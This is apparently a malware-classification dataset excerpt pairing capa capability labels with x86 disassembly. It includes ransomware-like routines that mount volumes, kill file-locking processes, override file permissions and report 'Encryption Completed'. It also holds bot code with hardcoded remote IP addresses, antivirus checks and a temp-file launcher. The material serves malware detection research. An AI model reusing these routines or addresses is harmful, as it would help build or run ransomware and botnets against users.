joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405f00
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov ebx, 0x104
mov dword [ebp - 0x10], ecx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], ebx
mov byte [ebp - 1], 1
nop
add ebx, ebx
push ebx
push 8
push dword [0x42a8e0]
call edi
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x405f5f
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
push 8
push dword [0x42a8e0]
call edi
mov esi, eax
mov dword [ebp - 0xc], eax
test esi, esi
je 0x405f40
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameW]
test eax, eax
jne 0x405f9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x406071
push esi
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [ebp - 8]
jmp 0x405f20
cmp word [esi], 0
jne 0x406071
cmp dword [ebp - 8], 1
jne 0x406075
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 2
je 0x405fc3
cmp eax, 3
jne 0x406075
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax*2 + 0x10]
push eax
push 8
push dword [0x42a8e0]
mov dword [ebp - 0x14], eax
call edi
mov ebx, eax
test ebx, ebx
jne 0x40600f
mov esi, dword [ebp - 0x14]
nop dword [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42a8e0]
call edi
mov ebx, eax
test ebx, ebx
je 0x405ff0
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.bootmgr
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
je 0x40605c
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x406075
push ebx
push 0
push dword [0x42a8e0]
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x406075
test esi, esi
je 0x406084
push esi
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406090
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x68], 0x425708
mov dword [ebp - 0x64], 0x425710
xor edi, edi
mov dword [ebp - 0x60], 0x425718
mov dword [ebp - 0x5c], 0x425720
mov dword [ebp - 0x58], 0x425728
mov dword [ebp - 0x54], 0x425730
mov dword [ebp - 0x50], 0x425738
mov dword [ebp - 0x4c], 0x425740
mov dword [ebp - 0x48], 0x425748
mov dword [ebp - 0x44], 0x425750
mov dword [ebp - 0x40], 0x425758
mov dword [ebp - 0x3c], 0x425760
mov dword [ebp - 0x38], 0x425768
mov dword [ebp - 0x34], 0x425770
mov dword [ebp - 0x30], 0x425778
mov dword [ebp - 0x2c], 0x425780
mov dword [ebp - 0x28], 0x425788
mov dword [ebp - 0x24], 0x425790
mov dword [ebp - 0x20], 0x425798
mov dword [ebp - 0x1c], 0x4257a0
mov dword [ebp - 0x18], 0x4257a8
mov dword [ebp - 0x14], 0x4257b0
mov dword [ebp - 0x10], 0x4257b8
mov dword [ebp - 0xc], 0x4257c0
mov dword [ebp - 8], 0x4257c8
mov dword [ebp - 4], 0x4257d0
nop word [eax + eax]
mov ebx, dword [ebp + edi*4 - 0x68]
push ebx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jne 0x406178
mov dword [ebp + esi*4 - 0xd0], ebx
inc esi
inc edi
cmp edi, 0x1a
jl 0x406160
push 0x104
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x40622c
nop dword [eax + eax]
cmp word [ebp - 0x2d8], 0x5c
jne 0x40620a
cmp word [ebp - 0x2d6], 0x5c
jne 0x40620a
cmp word [ebp - 0x2d4], 0x3f
jne 0x40620a
cmp word [ebp - 0x2d2], 0x5c
jne 0x40620a
lea ecx, [ebp - 0x2d8]
call fcn.00405f00
test al, al
jne 0x40620a
test esi, esi
je 0x406225
mov edi, dword [ebp + esi*4 - 0xd4]
lea eax, [ebp - 0x2d8]
dec esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
test eax, eax
je 0x40620a
push edi
lea eax, [ebp - 0x2d8]
push eax
push str.Mounted__s_as__s
call fcn.00404ca0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
test eax, eax
jne 0x4061a0
push ebx
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406240
Capabilities:
Create restart manager session
Enumerate processes that use resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x28], ecx
push eax
push 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
xor bl, bl
mov dword [ebp - 0x18], 0
push eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0xc], 0
mov byte [ebp - 1], bl
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x40643b
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x28]
push eax
push 1
push dword [ebp - 0x10]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x406432
lea eax, [ebp - 0x18]
push eax
push 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
cmp eax, 0xea
jne 0x406432
push esi
imul esi, dword [ebp - 0x14], 0x29c
push edi
mov edi, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 8
push dword [0x42a8e0]
call edi
mov ebx, eax
mov dword [ebp - 0x24], ebx
test ebx, ebx
jne 0x406302
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42a8e0]
call edi
mov ebx, eax
mov dword [ebp - 0x24], eax
test ebx, ebx
je 0x4062e3
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x18]
push eax
push ebx
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x40641e
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0xc], 0
mov ecx, eax
mov dword [ebp - 8], ecx
mov dword [ebp - 0x20], 0
jbe 0x40641e
mov edi, dword [sym.imp.SHLWAPI.dll_StrStrIW]
lea esi, [ebx + 0xc]
nop dword [eax + eax]
mov eax, dword [esi - 0xc]
cmp eax, ecx
je 0x406405
cmp eax, 4
je 0x406405
mov eax, dword [esi + 0x280]
cmp eax, 4
je 0x406405
cmp eax, 0x3e8
je 0x406405
push str.anydesk
push esi
call edi
test eax, eax
jne 0x406402
push str.teamviewer
push esi
call edi
test eax, eax
jne 0x406402
push str.yandex
push esi
call edi
test eax, eax
jne 0x406402
push str.googledrive
push esi
call edi
test eax, eax
jne 0x406402
push str.dropbox
push esi
call edi
test eax, eax
jne 0x406402
push dword [esi - 0xc]
xor bl, bl
push eax
push 0x100001
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x4063ff
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x4e20
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
movzx ebx, bl
mov eax, 1
cmove ebx, eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add byte [ebp - 1], bl
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0x20]
add esi, 0x29c
inc eax
mov dword [ebp - 0x20], eax
cmp eax, dword [ebp - 0xc]
jb 0x406350
mov ebx, dword [ebp - 0x24]
push ebx
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov bl, byte [ebp - 1]
pop edi
pop esi
push dword [ebp - 0x10]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406450
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
push 0x80
push edi
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4065b9
nop dword [eax]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x20
jne 0x4064b8
cmp dword [ebp - 0x10], 1
je 0x4065cb
mov ecx, edi
call fcn.00406240
mov dword [ebp - 0x10], 1
jmp 0x40658c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 5
jne 0x4065e1
cmp ebx, 1
je 0x4065d3
lea eax, [ebp - 8]
mov dword [ebp - 0x18], 0
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x18]
mov word [ebp - 0x14], 0x100
push eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x40656b
mov ecx, 0x20
lea eax, [ebp - 0x38]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x406517
mov eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0xc]
push eax
push ecx
lea eax, [ebp - 0x38]
mov dword [ebp - 0x38], 0x10000000
push eax
push 1
mov dword [ebp - 0x34], 2
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 5
call dword [sym.imp.ADVAPI32.dll_SetEntriesInAclW]
test eax, eax
jne 0x40656b
push eax
push dword [ebp - 0xc]
push eax
push dword [ebp - 8]
push 5
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_SetNamedSecurityInfoW]
mov eax, dword [ebp - 8]
test eax, eax
je 0x406579
push eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x406587
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, 1
push 0x80
push edi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x406490
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push edi
push str.Unable_To_Access_File:__s___SHARING_VIOLATION
jmp 0x4065d9
push edi
push str.Unable_To_Access_File:__s___ACCESS_DENIED
call fcn.00404ca0
add esp, 8
xor bl, bl
cmp esi, 0xffffffff
jne 0x4065bb
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4078e0
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x10]
mov ecx, 0x20
test al, 0x20
cmovne eax, ecx
mov dword [ebp - 0x10], eax
lea ebx, [eax + eax]
push ebx
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov dword [0x42a8cc], eax
test eax, eax
je 0x407a62
push SysReAllocString
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
lea esi, [ebx*4]
push esi
push 8
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x407970
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
push 8
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x407950
xor esi, esi
test ebx, ebx
je 0x407993
push 0
push 0
push 0
push 0x407320
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [edi + esi*4], eax
inc esi
cmp esi, ebx
jb 0x407976
push ebx
push str._lu_I_O_Workers_Created
call fcn.00404ca0
mov eax, dword [0x4297fc]
add esp, 8
test eax, eax
je 0x4079b2
push eax
call fcn.00406ba0
jmp 0x4079b7
call fcn.00407070
push str.Waiting_For_I_O_Workers
call fcn.00404ca0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
nop word [eax + eax]
push 0x300
call esi
mov eax, dword [0x42a864]
cmp dword [0x42a8d0], eax
jne 0x4079d0
test ebx, ebx
je 0x407a23
mov esi, ebx
nop word [eax + eax]
push 0
push 0
push 0
push dword [0x42a8cc]
call dword [sym.imp.KERNEL32.dll_PostQueuedCompletionStatus]
sub esi, 1
jne 0x4079f0
push 0xffffffffffffffff
push 1
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [edi + esi*4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc esi
cmp esi, ebx
jb 0x407a13
jmp 0x407a2f
push 0xffffffffffffffff
push 1
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push edi
push 0
push dword [0x42a8e0]
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [0x42a8cc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.Encryption_Completed
call fcn.00404ca0
add esp, 4
push SysReAllocString
call dword [sym.imp.KERNEL32.dll_SetThreadExecutionState]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x407a70
Capabilities:
Hide graphical window

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
ret
Function at 0x40874f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40878e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40878e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40878e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40878e
cmp dword [ecx + 0x74], 0xe
jbe 0x40878e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x413888
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x413925
push ebx
push esi
call fcn.00413851
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.004137e5
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4138d2
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413924
push edi
push eax
call fcn.00410f25
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4138f2
call fcn.00410eeb
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413923
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.004137e5
add esp, 0x20
test eax, eax
jne 0x413911
push edi
call fcn.00410eeb
jmp 0x413919
push ebx
call fcn.00410eeb
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4149e3
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f530
push 0x41f528
push str.FlsAlloc
push 0x1f
call fcn.004148a2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414a17
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d290]
call esi
jmp 0x414a1d
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x414a61
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f540
push 0x41f538
push str.FlsGetValue
push 0x21
call fcn.004148a2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414a98
push dword [ebp + 8]
mov ecx, esi
call dword [0x41d290]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x414aa0
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f548
push 0x41f540
push str.FlsSetValue
push 0x22
call fcn.004148a2
mov esi, eax
add esp, 0x10
test esi, esi
je 0x414ada
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41d290]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41be10
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41be3d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41be3d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x401000
Capabilities:
Create process on windows
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x210
mov eax, dword [0x415048]
xor eax, esp
mov dword [esp + 0x20c], eax
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x416de0
push 0x67
push esi
call edi
push 0x64
push 0x416d18
push 0x6d
push esi
call edi
mov eax, esi
call fcn.00401190
push 0
push esi
push 0
push 0
push 0
push connect
push 0
push connect
push 0xcf0000
push 0x416de0
push 0x416d18
push 0
mov dword [0x416ea8], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x401092
mov ecx, dword [esp + 0x214]
pop edi
pop esi
xor ecx, esp
xor eax, eax
call fcn.00404958
mov esp, ebp
pop ebp
ret 0x10
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x7d0
call edi
call fcn.00402a70
call fcn.004020a0
test eax, eax
je 0x4010c3
call fcn.004032c0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.004012d0
test eax, eax
je 0x40107a
call fcn.00401470
mov eax, dword [0x417748]
test eax, eax
je 0x4010fe
cmp word [0x41774c], 0
jbe 0x4010fe
push eax
mov esi, str.218.54.31.226
call fcn.00403a70
mov ax, word [0x41774c]
add esp, 4
mov word [0x415f2c], ax
xor eax, eax
movzx ecx, word [eax + 0x413254]
mov word [eax + 0x417c80], cx
add eax, 2
test cx, cx
jne 0x401100
call fcn.00403ae0
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0x12]
push edx
mov word [esp + 0x14], cx
call fcn.004082b0
add esp, 0xc
lea eax, [esp + 8]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x417c80
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.00404967
add esp, 0xc
push 0x1f4
call edi
push 1
push 0
push 0x41326c
lea edx, [esp + 0x14]
push edx
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4012d0
Capabilities:
Create thread
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d8
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
xor eax, eax
push 0x3e
push eax
lea ecx, [ebp - 0x46]
push ecx
mov word [ebp - 0x48], ax
call fcn.004082b0
add esp, 0xc
lea edi, [ebp - 0x48]
call fcn.00403570
xor eax, eax
jmp 0x401310
movzx ecx, word [ebp + eax - 0x48]
mov word [eax + 0x416eb0], cx
add eax, 2
test cx, cx
jne 0x401310
push 0x416eb0
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x401353
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404958
mov esp, ebp
pop ebp
ret
push 0x416eb0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x401341
lea edx, [ebp - 0x1d8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x417880
call fcn.00401d20
test eax, eax
jne 0x401420
lea esp, [esp]
movzx ecx, word [eax + str.hoidyet]
mov word [eax + 0x417a28], cx
add eax, 2
test cx, cx
jne 0x401390
push str.112.175.88.207
push 0x40
push 0x417884
call fcn.004049dc
add esp, 0xc
push str.AAAA
push 0x10
push 0x417906
call fcn.004049dc
add esp, 0xc
push 0x4132ac
push 0x40
push 0x417926
call fcn.004049dc
mov eax, 0x51
mov ecx, 0x2b8e
add esp, 0xc
mov word [0x417904], ax
mov word [0x4179a6], cx
xor eax, eax
jmp 0x401400
movzx ecx, word [eax + str.gudyt]
mov word [eax + 0x417a08], cx
add eax, 2
test cx, cx
jne 0x401400
mov dword [0x417a48], 5
call fcn.00403610
push 0x4132ac
call fcn.004036c0
add esp, 4
mov dword [0x417748], eax
call fcn.00401920
push 0
push 0
push 0
push 0x401720
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00404958
mov esp, ebp
pop ebp
ret
Function at 0x4017e0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x413380
call fcn.00403cd0
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x401906
push 0x206
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.004082b0
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x416]
push eax
mov word [ebp - 0x418], dx
call fcn.004082b0
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x416ef0
mov edi, edi
cmp word [esi], 0
je 0x401896
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x418]
push 0x104
push eax
call fcn.004049dc
add esp, 0xc
push esi
lea ecx, [ebp - 0x418]
push 0x104
push ecx
call fcn.00404967
add esp, 0xc
add esi, 0x118
cmp esi, 0x417468
jl 0x401860
mov esi, 0x416ef0
lea esp, [esp]
cmp word [esi], 0
je 0x4018c6
push edi
push 0x413380
mov ecx, esi
call fcn.004045d0
add esp, 8
add esi, 0x118
cmp esi, 0x417468
jl 0x4018b0
push 0x417c80
lea edx, [ebp - 0x210]
push 0x104
push edx
call fcn.00404967
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x401904
mov ebx, 2
mov eax, ebx
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00404958
mov esp, ebp
pop ebp
ret
Function at 0x401ac0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x415048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x412]
push ecx
xor ebx, ebx
mov word [ebp - 0x414], ax
call fcn.004082b0
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x20a]
push eax
mov word [ebp - 0x20c], dx
call fcn.004082b0
add esp, 0x18
push 0x104
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
xor edx, edx
push str._s_s
push ecx
mov word [ebp - 0x410], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b68
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b96
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bc4
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bf5
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c26
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [ebp - 0x20c]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c57
or ebx, 0x400
mov ecx, dword [ebp - 4]
pop edi
mov eax, ebx
pop esi
xor ecx, ebp
or eax, 0x2000000
pop ebx
call fcn.00404958
mov esp, ebp
pop ebp
ret